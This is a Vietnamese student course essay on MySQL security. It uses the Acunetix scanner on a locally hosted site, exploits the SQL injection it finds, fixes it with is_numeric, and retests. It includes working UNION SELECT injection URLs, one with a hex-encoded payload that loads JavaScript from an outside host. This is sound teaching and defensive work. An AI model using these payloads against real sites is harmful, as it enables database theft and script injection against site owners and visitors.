Tiểu luận môn học an ninh mạng mySQL Security

13 456 0
Tiểu luận môn học an ninh mạng mySQL Security

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

GVHD: Nguyễn Duy Nhóm 19 SV1: Nguyễn Mạnh Tuấn - 08520439 SV2: Nguyễn Hữu Tú - 08520452 SV3: Trần Quang Vũ - 08520479 SV4: Lưu Xuân Khoa – 08520498 MMT03/UIT mySQL Security NỘI DUNG I Lý thuyết mySQL hệ sở liệu mở phổ biến Việc bảo mật cho vấn đề cần quan tâm nhà viết ứng dụng web Tuy nhiên, hệ sở liệu phục vụ cho ứng dụng, nên để bảo mật nó, quan trọng phải bảo mật ứng dụng thao tác thơng tin Trong loại hình công hướng đến database, SQL Injection kiểu công nguy hiểm SQL Injection lợi dụng sơ hở ứng dụng web để chèn truy vấn khơng hợp lệ, qua khai thác, chí thay đổi hủy thơng tin database Loại công đa dạng hầu hết ứng dụng web mắc phải Giống cách cơng ứng dụng web khác, SQL injection vượt qua tường lửa, SSL, lock-down server cách dễ dàng Trước đây, lập trình viên phát triển ứng dụng web dựa vào kinh nghiệm thân để kiểm sốt lỗi Vì vậy, lập trình viên vào nghề thường gặp nhiều “tai nạn” Tuy nhiên, nhà lập trình viên lâu năm phạm phải sơ suất Từ thực tế trên, nhiều chương trình phát triển để kiểm tra ứng dụng web Một số ứng dụng tiếng lĩnh vực Microsoft Source Code Analyzer, Microsoft URLScan, dotDefender, IBM Appscan, Acunetix Web Vulnerability Scanner, … Trong báo cáo này, nhóm 19 chọn Acunetix Web Vulnerability Scanner để demo việc sử dụng tool rà soát lỗi ứng dụng Ứng dụng download từ trang chủ http://www.acunetix.com/vulnerability-scanner/ Chương trình có giá $375 Trong sử dụng trial Chương trình có giao diện thân thiện Các chức Acunetix Web Vulnerability Scanner[1]: • • • • Công nghệ AcuSensor Tự động phân tích lỗi, đánh giá độ bảo mật ứng dụng Web 2.0 Ajax Khả quét sâu lỗi SQL Injection Cross Site Cripting Hỗ trợ macro giúp cho việc kiểm tra web form vùng password bảo vệ dễ • • • • dàng Hỗ trợ trang có CAPTCHA, chế chứng thực single sign-on two factor Quét đa luồng, tốc độ nhanh, quét hàng trăn ngàn trang dễ dàng Các crawler thơng minh xác định loại web server ngôn ngữ ứng dụng Quét phân tích trang web có chưa flash, SOAP AJAX MMT03/UIT • Quét port web server thực nhiều kiểm tra bảo mật dịch vụ mạng chạy server II Mơ hình triển khai Acunetix Web Vulnerability Scanner sử dụng để scan ứng dụng web phát triển (local), ứng dụng web chạy server Trong báo cáo này, nhóm 19 chạy quét lỗi source code trang http://lethanhtam.vn chạy localhost III Triển khai ứng dụng Các bước thực Các bước thực hiện: • • • • • Cài đặt chương trình Thực quét lỗi Phân tích lỗi Chọn lỗi công thử Sửa lỗi Tấn công lại Triển khai Bước 1: Cài đặt chương trình Tải trial chương trình http://www.acunetix.com/vulnerability-scanner/ Cài đặt ứng dụng bình thường, khơng cần phải cấu hình Giao diện chương trình sau: MMT03/UIT Bước 2: Thực quét lỗi Vào New Scan nhập địa website cần quét chọn Next Phần Options có tùy chọn • • • Scanning profile: Lựa chọn loại lỗi bảo mật muốn kiểm tra Scanning setting: Mặc định theo cấu hình phần mềm default Nếu muồn thay đổi cấu hình scan ta vào custommize để điều chỉnh Bên tùy chọn thêm cần, ta nên để mặc định sau chọn Next MMT03/UIT Chương trình scan sơ website thơng tin website sử dụng hệ điều hành nào, server chạy apache phiên bao nhiêu, ngơn nữ lập trình sử dụng, … Ta cần xem qua thông tin chọn Next MMT03/UIT Chúng ta cấu hình Login Sequence chúng tao muốn chương trình quét lỗi đến nơi có yêu cầu chứng thực website Ở website có trang admin cần phải login chứng thực nên không cần phải cấu hình cho quét lỗi nơi mà người dùng tương tác Chúng ta chọn Next Finish MMT03/UIT Sau bấm Finish, chương trình bắt đầu quét lỗi cho website Quá trình nhanh hay chậm tùy thuộc vào tốc độ đường truyền internet độ phức tạp website Bước 3: Phân tích lỗi Chọn lỗi công thử Khi scan xong, bên trái danh sách kết san được, lỗi có màu đỏ cho thấy lỗi nguy hiểm MMT03/UIT Ta chọn lỗi màu đỏ , ta chọn lỗi sql injection Nhấp vào lỗi nhìn sang bên phải ta thấy mô tả chi tiết Như hình dưới, phần mơ tả lỗ hổng sql injection, phân nơi xảy lỗi cụ thể địa chỉ: http://nhakhoa.local/gui/webroot/service_detail.php MMT03/UIT Phần Attack detail rõ ta thêm biến tên id thông qua phương thức GET vào cho giá trị 1”” sảy lỗi hacker lợi dụng lỗi để sử dụng câu truy vấn trái phép để khai thác thông tin nhạy cảm từ database Tiếp tục kéo xuống phần “Detailed information” phần mô tả chi tiết lỗi mà gặp lỗi Sql injection hướng dẫn cách khắc phục lỗi MMT03/UIT Theo mơ tả cách khắc phục lỗi chủ yếu ta phải lọc giá trị truyền vào từ phía người dùng, cụ thể biến id Tấn cơng thử: Ta tiền hành khaii thác lỗi cách truyền vào câu truy vấn trái phép Câu truy vấn “ http://nhakhoa.local/GUI/webroot/service_detail.php?id=-1 Union All Select 1,2,3,4,5,6 “ cho cho ta thấy liệu lấy từ cột thứ table, cột 4,5 Thông qua cột ta tiếp tục truy vấn để trang web cho ta thông tin nhay cảm MMT03/UIT 10 Ta tiếp tục thực câu truy vấn trái phép Câu truy vấn “http://nhakhoa.local/GUI/webroot/service_detail.php?id=-1 Union All Select1,2,3,concat((0x3c736372697074207372633d22687474703a2f2f756e732e766e2f73716c6 92e6a73223e3c2f7363726970743e))tuan,5,6—“ gọi file javascript từ bên thay ta thực câu truy vấn để lấy thông tin database mà ta sử dụng Và hacker khai thác thơng qua lỗi chúng dễ dàng lấy username password thông tin nhạy cảm khác database Bước 4: Khắc phục lỗi Ta vào thư mục “service_detail.php” view source tìm đến dịng sử lý biền “id” MMT03/UIT 11 Dịng lệnh “$id = isset($_GET[‘id’]) ? $_GET[‘id’] : 0;” có nghĩa tồn giá trị id truyền vào gann1 giá trị cho biền ”$id” khơng tồn gán cho $_GET[‘id’] giá trị sau gán cho biến $id Ta thấy giá trị id lấy thông qua phương thức GET khơng kiểm tra xem có hợp lệ hay không mà sử dụng trực tiếp để truyền vào câu truy vấn Điều vơ nguy hiểm giá trị id truyền vào số mà câu truy vấn trài phép hacker dễ dàng lấy thơng tin nhạy cảm ta dụ username password để đăng nhập vào trang quản lý Để khắc phục lỗi này, ta truyền vào hàm kiểm tra cho id Hàm “is_numeric” chấp nhận giá trị id số trường hợp lại khơng chấp nhận Ta save lại, sau vào chương trình chọn “Retest alert(s)” mục “Attack detail” để tiền hành kiểm tra lại lỗi Ta thấy lỗi “SQL Injection” bị gạch bỏ, điều có nghĩa lỗi khắc phục Ở ta thấy lỗi “Blind SQL Injection” “Cross Site Scripting” bị gạch bỏ nơi để khai thác lỗi nơi khai thác lỗi “SQL Injection” nơi nên ta khắc phục lỗi “SQL Injection” ta vơ tình khắc phục ln lỗi Tương tự với lỗi khác Bước 5: Tấn công lại Sau fix lỗi ta tiến hành công với câu truy vấn tương tự ta : MMT03/UIT 12 Website trả trang mặc định liệu truyền vào biến id là số Như vậy, khắc phục lỗi thành công Cứ từ từ khắc phục hết lỗi khác IV Nhận xét Ưu điểm • • • Giao diện thân thiện Giải thích lỗi rõ ràng Có hướng dẫn cách khắc phục,… Khuyết điểm • • Phí đắt Vẫn cịn nhiều lỗi chưa tìm thấy V Tài liệu tham khảo [1] Acunetix Web Vulnerability Scanner, Acunetix, http://www.acunetix.com/vulnerabilityscanner/, tham khảo ngày 24 tháng năm 2012 MMT03/UIT 13 ... Microsoft Source Code Analyzer, Microsoft URLScan, dotDefender, IBM Appscan, Acunetix Web Vulnerability Scanner, … Trong báo cáo này, nhóm 19 chọn Acunetix Web Vulnerability Scanner để demo việc... trang web có chưa flash, SOAP AJAX MMT03/UIT • Quét port web server thực nhiều kiểm tra bảo mật dịch vụ mạng chạy server II Mơ hình triển khai Acunetix Web Vulnerability Scanner sử dụng để scan... website Quá trình nhanh hay chậm tùy thuộc vào tốc độ đường truyền internet độ phức tạp website Bước 3: Phân tích lỗi Chọn lỗi công thử Khi scan xong, bên trái danh sách kết san được, lỗi có màu

Ngày đăng: 08/04/2015, 08:23

Từ khóa liên quan

Mục lục

  • I. Lý thuyết

  • II. Mô hình triển khai

  • III. Triển khai ứng dụng

    • 1. Các bước thực hiện

    • 2. Triển khai

    • IV. Nhận xét

    • V. Tài liệu tham khảo

Tài liệu cùng người dùng

Tài liệu liên quan